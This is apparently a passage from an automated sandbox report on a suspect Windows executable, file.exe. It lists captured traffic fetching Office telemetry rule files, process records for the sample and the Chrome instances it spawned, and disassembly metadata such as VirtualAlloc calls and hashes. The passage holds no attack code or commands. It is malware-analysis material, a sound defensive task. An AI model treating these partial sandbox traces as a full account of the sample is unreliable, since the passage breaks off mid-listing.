2024-11-30 03:13:12 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	49913	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:13:11 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:13:12 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:13:12 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: b578d01d-201e-003c-6391-3f30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031312Z-174f7845968psccphC1EWRuz9s00000010z000000000ncrp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:13:12 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:13:12 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:13:12 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:13:12 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 9e1e151e-901e-0083-260b-41bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031312Z-174f7845968pght8hC1EWRyvxg000000040g0000000072hd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:13:12 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	49915	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:13:12 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:13:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:13:13 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: fc0d267c-101e-0079-0929-415913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031313Z-174f7845968jrjrxhC1EWRmmrs000000111g000000003vu3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:13:13 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	49916	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:13:13 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:13:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:13:13 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: e7ccb915-001e-0014-50a1-425151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031313Z-174f78459684bddphC1EWRbht400000010p0000000003pu8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:13:13 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	49917	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:13:13 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:13:14 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:13:14 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 22785ae5-e01e-0003-78b2-420fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031314Z-174f7845968frfdmhC1EWRxxbw00000010y00000000061ea x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:13:14 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	49918	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:13:14 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:13:14 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:13:14 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 9546ee6f-d01e-0014-4f91-3fed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031314Z-174f7845968xr5c2hC1EWRd0hn0000000hm000000000h3tf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:13:14 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Target ID:	0
Start time:	22:11:58
Start date:	29/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xcb0000
File size:	1'864'192 bytes
MD5 hash:	A9A9F7A7B9ED25C8DF3E4676A11593F3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	22:12:33
Start date:	29/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	22:12:33
Start date:	29/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=1884,i,17699298288420818842,9296858339139321116,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	22:12:39
Start date:	29/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	22:12:39
Start date:	29/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1992 --field-trial-handle=1848,i,12859633962272970777,3292351338685912697,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	6
Total number of Limit Nodes:	2

Executed Functions

Function 05BCE886 Relevance: 1.3, APIs: 1, Instructions: 81
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000), ref: 05BCF3F9

Memory Dump Source

Source File: 00000000.00000002.2513695692.0000000005BCA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: true

Associated: 00000000.00000002.2513624126.0000000005BC0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513647374.0000000005BC2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513671808.0000000005BC6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005D4D000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005E5A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005E68000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005E6A000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bc0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: af1743da405fb1f4c2fd3efc2973fe3e7db54877c9999b571e1ad8cf80b03fb6
Instruction ID: d5f643d044fc5bdbaa6a6995cdf0099e871e12df5d13b9455ce92cfea877ef28
Opcode Fuzzy Hash: af1743da405fb1f4c2fd3efc2973fe3e7db54877c9999b571e1ad8cf80b03fb6
Instruction Fuzzy Hash: C7217AB114C709DFD746AF58D8846BEBBEAFF49300F1209AEE5C6C6640E6715850CB1A

Function 05BCE710 Relevance: 1.3, APIs: 1, Instructions: 16
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000), ref: 05BCE739

Memory Dump Source

Source File: 00000000.00000002.2513695692.0000000005BCA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: true

Associated: 00000000.00000002.2513624126.0000000005BC0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513647374.0000000005BC2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513671808.0000000005BC6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005D4D000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005E5A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005E68000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005E6A000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bc0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 25b45255dbc6b6c1674a6fafe9a1456ae02531ee36b92caef350bece74561a8c
Instruction ID: 1c2329f484ae285af7876e2c0976f82bffc0b5eeefa5177fd2274a4b5c8592e1
Opcode Fuzzy Hash: 25b45255dbc6b6c1674a6fafe9a1456ae02531ee36b92caef350bece74561a8c
Instruction Fuzzy Hash: 71E01AB1508708DBDB406F39C50C29EBBE4EF90731F10860DE9A586590C3724C90DB0A

Non-executed Functions

Function 05BFC87D Relevance: 4.2, Strings: 3, Instructions: 436
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Vt}, xrefs: 05BFCD3C
Vt}, xrefs: 05BFCD4C
t{9, xrefs: 05BFCDE8

Memory Dump Source

Source File: 00000000.00000002.2513695692.0000000005BCA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: true

Associated: 00000000.00000002.2513624126.0000000005BC0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513647374.0000000005BC2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513671808.0000000005BC6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005D4D000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005E5A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005E68000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005E6A000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bc0000_file.jbxd

Similarity

API ID:
String ID: Vt}$Vt}$t{9
API String ID: 0-522619088
Opcode ID: eabfbfe0f6bac6b5d8b028efbbd94680572bc9653d54fc87b7b3c7596f793c61
Instruction ID: a564fb0c2c160dd820b929fab046a9542643d856a7068deccc2eaba0ae1cc04a
Opcode Fuzzy Hash: eabfbfe0f6bac6b5d8b028efbbd94680572bc9653d54fc87b7b3c7596f793c61
Instruction Fuzzy Hash: EEE1C4B3F142244BF3548E29DC84366B693EBD5320F2F823C9E88A77C5E97D6D095285

Function 05C14C93 Relevance: 3.0, Strings: 2, Instructions: 545
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

EW;, xrefs: 05C15302
zm{, xrefs: 05C15361

Memory Dump Source

Source File: 00000000.00000002.2513695692.0000000005BCA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: true

Associated: 00000000.00000002.2513624126.0000000005BC0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513647374.0000000005BC2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513671808.0000000005BC6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005D4D000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005E5A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005E68000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005E6A000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bc0000_file.jbxd

Similarity

API ID:
String ID: zm{$EW;
API String ID: 0-2300057596
Opcode ID: ec8fa95e894d0e9a18a32bb469e0bd42d65f1c459c7f3b72d824c61df8672347
Instruction ID: 2ddba0894996cf81a16deb5510e9698f77cdd51d2dad9e907b5035b1ec928b82
Opcode Fuzzy Hash: ec8fa95e894d0e9a18a32bb469e0bd42d65f1c459c7f3b72d824c61df8672347
Instruction Fuzzy Hash: 3A02DFB3F142204BF3085D39DC9836AB692EB94310F2B863CDE89A77C5D97E5C494785

Function 05C00950 Relevance: 2.9, Strings: 2, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

j{, xrefs: 05C00DAF
F 12, xrefs: 05C00D4B

Memory Dump Source

Source File: 00000000.00000002.2513695692.0000000005BCA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: true

Associated: 00000000.00000002.2513624126.0000000005BC0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513647374.0000000005BC2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513671808.0000000005BC6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005D4D000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005E5A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005E68000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005E6A000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bc0000_file.jbxd

Similarity

API ID:
String ID: F 12$j{
API String ID: 0-829968880
Opcode ID: 8df4ab80dc3d0eea4a165dbf3b7f7bf932fb577316143378d74876d835a16828
Instruction ID: 3762ddba1b76bda257041dee7c6f1b35993ced97c323922aa56f4e2c4dfc091d
Opcode Fuzzy Hash: 8df4ab80dc3d0eea4a165dbf3b7f7bf932fb577316143378d74876d835a16828
Instruction Fuzzy Hash: BAE101B3E046144BF3445E38DD893A6B7D2EB94320F2B463C9B889B7C5E97D5C058786

Function 05BF214E Relevance: 2.9, Strings: 2, Instructions: 433
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

g4z~, xrefs: 05BF26A3
-b&, xrefs: 05BF26B8

Memory Dump Source

Source File: 00000000.00000002.2513695692.0000000005BCA000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: true

Associated: 00000000.00000002.2513624126.0000000005BC0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513647374.0000000005BC2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513671808.0000000005BC6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005D4D000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005E5A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005E68000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2513695692.0000000005E6A000.00000040.00000800.00020000.00000000.sdmpDownload File

